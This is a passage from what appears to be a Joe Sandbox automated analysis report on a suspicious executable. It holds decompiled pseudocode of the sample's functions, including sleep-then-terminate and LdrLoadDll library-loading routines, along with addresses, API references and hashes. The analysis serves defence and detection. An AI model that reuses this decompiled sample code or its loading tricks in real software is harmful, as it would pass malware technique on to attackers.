											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B5A0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422F00(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422F00(0x7fffffff))) = 0x16;
						E00422C90(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422F00(_t112))) = 0x16;
					E00422C90(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437705
0x00437705
0x00437705
0x00437705
0x00437709
0x00437720
0x00437717
0x00437717
0x00437717
0x0043772a
0x00437731
0x00437733
0x00437738
0x0043773a
0x0043773f
0x00437744
0x00437746
0x0043774b
0x00437751
0x00437753
0x00437753
0x00437751
0x00437758
0x0043778d
0x00437791
0x00437793
0x00437796
0x00437799
0x0043779d
0x0043779f
0x004377a6
0x004377a8
0x004377ac
0x004377b4
0x004377ba
0x004377ca
0x004377ca
0x004377cd
0x004377bc
0x004377bc
0x004377c2
0x004377c2
0x004377dc
0x004377e0
0x004377e5
0x004377e5
0x004377ac
0x004377a6
0x0043779d
0x004377e8
0x004377ec
0x004377ee
0x004377f1
0x004377f1
0x004377fa
0x004377fd
0x00437807
0x0043780a
0x004377ff
0x00437802
0x00437802
0x00437810
0x00437818
0x0043781b
0x0043781d
0x0043781d
0x00437820
0x00437823
0x00437825
0x0043782a
0x0043782c
0x00437831
0x00437836
0x00437838
0x0043783d
0x00437840
0x00437843
0x00437845
0x00437845
0x00437843
0x00437846
0x0043784a
0x0043788b
0x0043788f
0x00437894
0x00437897
0x0043789a
0x0043789e
0x0043790a
0x0043790d
0x00437910
0x00437914
0x00437a01
0x00437a01
0x00437a05
0x00437a0d
0x00437a0d
0x00437a0f
0x00000000
0x00437a0f
0x0043791d
0x00437920
0x004379f7
0x004379fa
0x004379fa
0x004379fd
0x00000000
0x004379fd
0x00437926
0x0043792a
0x004379ea
0x004379ed
0x004379f0
0x00000000
0x004379f0
0x00437933
0x00437936
0x0043793a
0x0043793c
0x00437943
0x00437945
0x00437949
0x00437951
0x00437957
0x00437966
0x00437966
0x00437969
0x00437959
0x00437959
0x0043795e
0x0043795e
0x0043796c
0x00437978
0x0043797c
0x00437981
0x00437981
0x00437949
0x00437943
0x00437984
0x00437987
0x0043798a
0x0043798e
0x00437991
0x00437993
0x00437998
0x0043799a
0x0043799f
0x004379a4
0x004379a6
0x004379ab
0x004379ae
0x004379b1
0x004379b3
0x004379b3
0x004379b1
0x004379b4
0x004379b8
0x00000000
0x004379ba
0x004379bf
0x004379db
0x004379e3
0x00000000
0x004379e3
0x004378a0
0x004378a0
0x004378a4
0x004378a9
0x004378ac
0x004378b0
0x004378b2
0x004378b9
0x004378bb
0x004378bf
0x004378c7
0x004378cd
0x004378dd
0x004378dd
0x004378e0
0x004378cf
0x004378cf
0x004378d5
0x004378d5
0x004378ef
0x004378ef
0x004378f3
0x004378f8
0x004378bf
0x004378b9
0x004378b0
0x00437900
0x00000000
0x00437900
0x0043784c
0x00437851
0x0043786d
0x00437875
0x00000000
0x00437875
0x0043775a
0x0043775f
0x0043777b
0x00437783
0x00437a12
0x00437a15
0x00437a15

APIs

__invalid_parameter.LIBCMTD ref: 0043777B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043773F, 0043776C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437733, 00437776
_wcstombs_s_l, xrefs: 00437771

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction ID: 9967bc3b697d8768d60b5bffc5b4a243e7b58b8204ec7021a6b4f5f08dee47f7
Opcode Fuzzy Hash: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction Fuzzy Hash: E20181B0E44319AAEB309F41DD067AF7260AB1471DF10246FEAA0392C1D7FD5684CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA21, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AAD5

Part of subcall function 00421540: __encode_pointer.LIBCMTD ref: 00421621

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 494002cab32f71e44f2c010bad67734077bc846857dd00c45e07ad090efcadff
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: C4414931D09744D6CF11AB38EA0516EB7B0FF91384F50C76AF88861212EB7489A9D35B

Uniqueness

Uniqueness Score: -1.00%

Function 004249FA, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004249FA(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424A60();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x55adec; // 0xa82fcb31
					if( *((intOrPtr*)(E00424750(_t16)))() != 0) {
						E00424AC0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x004249fd
0x00424a04
0x00424a25
0x00424a25
0x00424a2a
0x00424a06
0x00424a09
0x00424a0a
0x00424a0f
0x00424a10
0x00424a23
0x00424a34
0x00424a45
0x00424a4a
0x00424a51
0x00000000
0x00000000
0x00000000
0x00424a23
0x00424a59

APIs

__encode_pointer.LIBCMTD ref: 00424A17

Part of subcall function 00424750: TlsGetValue.KERNEL32(00000001,004249C6,A82FCB32), ref: 00424765
Part of subcall function 00424750: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424786
Part of subcall function 00424750: __crt_wait_module_handle.LIBCMTD ref: 0042479C
Part of subcall function 00424750: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004247B6

__mtterm.LIBCMTD ref: 00424A25
__initptd.LIBCMTD ref: 00424A34
GetCurrentThreadId.KERNEL32 ref: 00424A3C

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction ID: 3bb33fb53f5250bcae78586fa3e6a8796d91285cf36b2ba13d7e4d7211fef67c
Opcode Fuzzy Hash: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction Fuzzy Hash: AFF0B4B4B00218ABC700EFE8FC4175E7774EBC8319F1483A9E81997391EA35D580CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C65F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C66F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C684
_CrtCheckMemory(), xrefs: 0041C678

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction ID: 1f275f59b12d317e9a56d61960c583de533088b1401a43247753299a26cdb3cb
Opcode Fuzzy Hash: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction Fuzzy Hash: 36F0E5746C43009BDB109B11ED967A93390B72030EF20952BF508552C0DABDA8C49E4F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: eIxMVDoQF3.exe PID: 6932 Parent PID: 6904 eIxMVDoQF3.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	70.8%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.276812307.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.276812307.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.276812307.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000001.00000001.276812307.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040250A, Relevance: 1.3, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(3_\, xrefs: 00402527

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID: (3_\
API String ID: 0-1024548672
Opcode ID: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction ID: 64c156a0781b3c67ba192cd992c8aad639144a23081a5c252ffbc859459b19b0
Opcode Fuzzy Hash: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction Fuzzy Hash: 60113B7911520D6FE33C8A6995A00C2B796FF85608BA1284DD3818FE03C932B493CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000001.276812307.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402491, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.332169445.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
